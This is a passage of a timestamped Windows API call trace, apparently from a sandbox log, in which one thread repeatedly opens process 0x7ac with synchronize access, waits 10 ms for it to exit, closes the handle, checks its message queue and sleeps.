dwMilliseconds=0xa) returned 0x102 [0129.895] CloseHandle (hObject=0xad0) returned 1 [0129.895] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.895] Sleep (dwMilliseconds=0x1) [0129.911] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0129.911] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0129.951] CloseHandle (hObject=0xad0) returned 1 [0129.951] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.952] Sleep (dwMilliseconds=0x1) [0129.957] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0129.958] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0129.973] CloseHandle (hObject=0xad4) returned 1 [0129.973] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0129.973] Sleep (dwMilliseconds=0x1) [0129.989] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0129.989] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.004] CloseHandle (hObject=0xad4) returned 1 [0130.004] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.004] Sleep (dwMilliseconds=0x1) [0130.020] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.020] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.035] CloseHandle (hObject=0xad4) returned 1 [0130.035] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.035] Sleep (dwMilliseconds=0x1) [0130.051] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.051] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.066] CloseHandle (hObject=0xad4) returned 1 [0130.066] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.067] Sleep (dwMilliseconds=0x1) [0130.082] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.082] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.098] CloseHandle (hObject=0xad4) returned 1 [0130.098] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.098] Sleep (dwMilliseconds=0x1) [0130.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.113] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.129] CloseHandle (hObject=0xad4) returned 1 [0130.129] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.129] Sleep (dwMilliseconds=0x1) [0130.145] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.145] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.160] CloseHandle (hObject=0xad4) returned 1 [0130.160] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.160] Sleep (dwMilliseconds=0x1) [0130.176] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.176] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.224] CloseHandle (hObject=0xad4) returned 1 [0130.224] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.224] Sleep (dwMilliseconds=0x1) [0130.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.238] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.254] CloseHandle (hObject=0xad4) returned 1 [0130.254] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.254] Sleep (dwMilliseconds=0x1) [0130.270] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.270] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.285] CloseHandle (hObject=0xad4) returned 1 [0130.285] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.285] Sleep (dwMilliseconds=0x1) [0130.301] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.301] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.316] CloseHandle (hObject=0xad4) returned 1 [0130.316] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.316] Sleep (dwMilliseconds=0x1) [0130.333] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.333] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.348] CloseHandle (hObject=0xad4) returned 1 [0130.348] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.348] Sleep (dwMilliseconds=0x1) [0130.395] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.395] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.410] CloseHandle (hObject=0xad0) returned 1 [0130.410] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.410] Sleep (dwMilliseconds=0x1) [0130.426] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.426] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.441] CloseHandle (hObject=0xad0) returned 1 [0130.441] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.441] Sleep (dwMilliseconds=0x1) [0130.457] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.457] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.472] CloseHandle (hObject=0xad0) returned 1 [0130.472] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.472] Sleep (dwMilliseconds=0x1) [0130.488] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.488] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.503] CloseHandle (hObject=0xad0) returned 1 [0130.503] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.503] Sleep (dwMilliseconds=0x1) [0130.519] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.519] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.535] CloseHandle (hObject=0xad0) returned 1 [0130.535] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.535] Sleep (dwMilliseconds=0x1) [0130.550] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.550] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.566] CloseHandle (hObject=0xad0) returned 1 [0130.566] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.566] Sleep (dwMilliseconds=0x1) [0130.581] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.581] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.597] CloseHandle (hObject=0xad0) returned 1 [0130.597] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.597] Sleep (dwMilliseconds=0x1) [0130.613] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.613] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.628] CloseHandle (hObject=0xad0) returned 1 [0130.628] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.628] Sleep (dwMilliseconds=0x1) [0130.644] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.644] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.668] CloseHandle (hObject=0xad0) returned 1 [0130.668] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.668] Sleep (dwMilliseconds=0x1) [0130.677] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.677] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.690] CloseHandle (hObject=0xad0) returned 1 [0130.691] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.691] Sleep (dwMilliseconds=0x1) [0130.706] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.706] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.722] CloseHandle (hObject=0xad0) returned 1 [0130.722] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.722] Sleep (dwMilliseconds=0x1) [0130.738] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.738] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.753] CloseHandle (hObject=0xad0) returned 1 [0130.753] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.753] Sleep (dwMilliseconds=0x1) [0130.769] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.769] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.784] CloseHandle (hObject=0xad0) returned 1 [0130.784] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.784] Sleep (dwMilliseconds=0x1) [0130.800] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.800] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.823] CloseHandle (hObject=0xad0) returned 1 [0130.823] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.823] Sleep (dwMilliseconds=0x1) [0130.831] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.831] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.847] CloseHandle (hObject=0xad0) returned 1 [0130.847] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.847] Sleep (dwMilliseconds=0x1) [0130.862] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.862] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.878] CloseHandle (hObject=0xad0) returned 1 [0130.878] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.878] Sleep (dwMilliseconds=0x1) [0130.893] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0130.894] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0130.909] CloseHandle (hObject=0xad0) returned 1 [0130.909] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.909] Sleep (dwMilliseconds=0x1) [0130.949] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.949] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.958] CloseHandle (hObject=0xad4) returned 1 [0130.958] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.958] Sleep (dwMilliseconds=0x1) [0130.971] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0130.971] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0130.987] CloseHandle (hObject=0xad4) returned 1 [0130.987] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0130.987] Sleep (dwMilliseconds=0x1) [0131.003] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.003] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.018] CloseHandle (hObject=0xad4) returned 1 [0131.018] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.018] Sleep (dwMilliseconds=0x1) [0131.034] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.034] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.049] CloseHandle (hObject=0xad4) returned 1 [0131.049] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.049] Sleep (dwMilliseconds=0x1) [0131.065] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.066] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.080] CloseHandle (hObject=0xad4) returned 1 [0131.081] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.081] Sleep (dwMilliseconds=0x1) [0131.096] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.096] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.113] CloseHandle (hObject=0xad4) returned 1 [0131.113] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.113] Sleep (dwMilliseconds=0x1) [0131.127] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.127] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.143] CloseHandle (hObject=0xad4) returned 1 [0131.143] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.143] Sleep (dwMilliseconds=0x1) [0131.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.161] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.174] CloseHandle (hObject=0xad4) returned 1 [0131.174] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.174] Sleep (dwMilliseconds=0x1) [0131.206] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0131.206] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0131.221] CloseHandle (hObject=0xad0) returned 1 [0131.221] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.221] Sleep (dwMilliseconds=0x1) [0131.237] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0131.237] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0131.252] CloseHandle (hObject=0xad0) returned 1 [0131.252] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.252] Sleep (dwMilliseconds=0x1) [0131.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0131.268] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0131.284] CloseHandle (hObject=0xad0) returned 1 [0131.285] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.285] Sleep (dwMilliseconds=0x1) [0131.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0131.300] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0131.314] CloseHandle (hObject=0xad0) returned 1 [0131.314] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.315] Sleep (dwMilliseconds=0x1) [0131.331] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.331] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.346] CloseHandle (hObject=0xad4) returned 1 [0131.346] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.346] Sleep (dwMilliseconds=0x1) [0131.364] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.364] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.377] CloseHandle (hObject=0xad4) returned 1 [0131.377] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.377] Sleep (dwMilliseconds=0x1) [0131.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.403] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.414] CloseHandle (hObject=0xad4) returned 1 [0131.414] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.414] Sleep (dwMilliseconds=0x1) [0131.424] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.424] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.440] CloseHandle (hObject=0xad4) returned 1 [0131.440] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.440] Sleep (dwMilliseconds=0x1) [0131.455] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.455] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.499] CloseHandle (hObject=0xad4) returned 1 [0131.499] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.499] Sleep (dwMilliseconds=0x1) [0131.503] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.503] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.519] CloseHandle (hObject=0xad4) returned 1 [0131.519] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.519] Sleep (dwMilliseconds=0x1) [0131.533] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.533] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.551] CloseHandle (hObject=0xad4) returned 1 [0131.551] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.551] Sleep (dwMilliseconds=0x1) [0131.565] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.566] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.594] CloseHandle (hObject=0xad4) returned 1 [0131.594] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.594] Sleep (dwMilliseconds=0x1) [0131.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.598] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.611] CloseHandle (hObject=0xad4) returned 1 [0131.611] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.611] Sleep (dwMilliseconds=0x1) [0131.627] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.627] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.642] CloseHandle (hObject=0xad4) returned 1 [0131.642] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.642] Sleep (dwMilliseconds=0x1) [0131.658] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.658] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.673] CloseHandle (hObject=0xad4) returned 1 [0131.673] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.673] Sleep (dwMilliseconds=0x1) [0131.709] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.709] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.720] CloseHandle (hObject=0xad4) returned 1 [0131.720] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.720] Sleep (dwMilliseconds=0x1) [0131.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.746] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.751] CloseHandle (hObject=0xad4) returned 1 [0131.751] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.751] Sleep (dwMilliseconds=0x1) [0131.767] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.767] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.782] CloseHandle (hObject=0xad4) returned 1 [0131.782] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.783] Sleep (dwMilliseconds=0x1) [0131.798] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.798] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.814] CloseHandle (hObject=0xad4) returned 1 [0131.814] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0131.814] Sleep (dwMilliseconds=0x1) [0131.829] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0131.829] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0131.845] CloseHandle (hObject=0xad4) returned 1 [0131.845] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 